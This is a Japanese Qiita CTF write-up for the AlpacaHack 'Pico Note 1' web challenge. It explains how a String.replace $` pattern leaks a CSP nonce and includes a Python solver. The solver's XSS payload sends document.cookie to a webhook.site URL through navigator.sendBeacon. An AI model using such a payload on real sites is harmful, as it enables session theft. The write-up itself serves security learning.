0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

ctf upsolve by kodai Advent Calendar 2025(Day7)

Last updated at Posted at 2025-12-08

ctf upsolve by kodai Advent Calendar 2025(Day7)
2日続けて遅れてしまっています。次は遅れないように頑張ります。

取り扱った問題

AlpacaHack Round 2 (Web) Pico Note 1
Author: ark


upsolve

URLにアクセスするとtitleとcontentを入力するフォームが出てきて、入力するとそれがそのまま表示されます。
image.png
Admin botが動いておりそこにflagが格納されているので、XSSによってそれを奪取するのがゴールになります。

問題文を見ると、

The template engine is very simple but powerful 🔥

とあったので、テンプレートエンジンに何か問題があるのだと思ってソースコードを確認すると以下のようになっていました。

const render = async (view, params) => {
  const tmpl = await fs.readFile(`views/${view}.html`, { encoding: "utf8" });
  const html = Object.entries(params).reduce(
    (prev, [key, value]) => prev.replace(`{{${key}}}`, value),
    tmpl
  );
  return html;
};

自作のテンプレートエンジンなようです。
特に問題なさそう...
ということで、次はユーザの入力値に対してどのような処理が行われているのかを確認してみる。
コードは以下のようになっています。

app.addHook("onRequest", (req, res, next) => {
  const nonce = crypto.randomBytes(16).toString("hex");
  res.header("Content-Security-Policy", `script-src 'nonce-${nonce}';`);
  req.nonce = nonce;
  next();
});

app.get("/", async (req, res) => {
  const html = await render("index", {});
  res.type("text/html").send(html);
});

app.get("/note", async (req, res) => {
  const title = String(req.query.title);
  const content = String(req.query.content);

  const html = await render("note", {
    nonce: req.nonce,
    data: JSON.stringify({ title, content }),
  });
  res.type("text/html").send(html);
});

CSPが16バイトのランダム値をhex化した結果がnonce属性としてつきます。
datacontentの内容はJSON.stringfyによってJSON文字列に変換されています。
その後に、以下のようになります。

    <script nonce="{{nonce}}">
      const { title, content } = {{data}};
      document.getElementById("title").textContent = title;
      document.getElementById("content").textContent = content;

      document.getElementById("back").addEventListener("click", () => history.back());
    </script>

titlecontexttextContentとして読み込まれているので、titleの入力時に</script>で閉じた後に<script>を発火させれば良さそうです。

後はCSPの突破です。先ほども書いたようにnonce-{16バイトのランダム値をhex化した結果}のnonceを特定しなければなりません。
つまり32文字のhex文字列を特定する必要があります。
僕の力ではここまででした。ギブアップ
upsolveします。

テンプレートエンジンの実装に注目すればよいみたいです。

const render = async (view, params) => {
  const tmpl = await fs.readFile(`views/${view}.html`, { encoding: "utf8" });
  const html = Object.entries(params).reduce(
    (prev, [key, value]) => prev.replace(`{{${key}}}`, value),
    tmpl
  );
  return html;
};

replace関数にどうやら面白い仕様があるようです。
テンプレートエンジンが怪しそうだなって思ってたけど、特定できなかった。悔しい...
https://developer.mozilla.org/ja/docs/Web/JavaScript/Reference/Global_Objects/String/replace#置換文字列としての文字列の指定
image.png
置換文字列には特殊な置換パターンを入れることができるらしく、$` とすると、一致した文字列の直前の文字列の部分を挿入してくれるらしいです。

<script nonce="{{nonce}}">

上記のようにscriptでnonceは指定されているので、これを使えばCSPのnonceの値を取ってくることができます。

solverです。

import httpx
import urllib.parse

BOT_URL  = "http://34.170.146.252:24777"
HOOK_URL = "https://webhook.site/8a3db8da-31ee-4f30-a141-3bf3ccf447bc"

def main():
    client = httpx.Client(base_url=BOT_URL)
    payload = (
        "</script>"
        "$`navigator.sendBeacon('"
        + HOOK_URL
        + "?'+document.cookie);"
        "</script>"
    )

    target_url = f"http://web:3000/note?title={urllib.parse.quote(payload)}"

    print("[*] report target URL:", target_url)

    res = client.post(
        "/api/report",
        json={"url": target_url},
        timeout=10,
    )
    print("[*] bot response:", res.status_code, res.text)

if __name__ == "__main__":
    main()

FLAG : Alpaca{JavaScript_H4cks_Reb00ted}

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?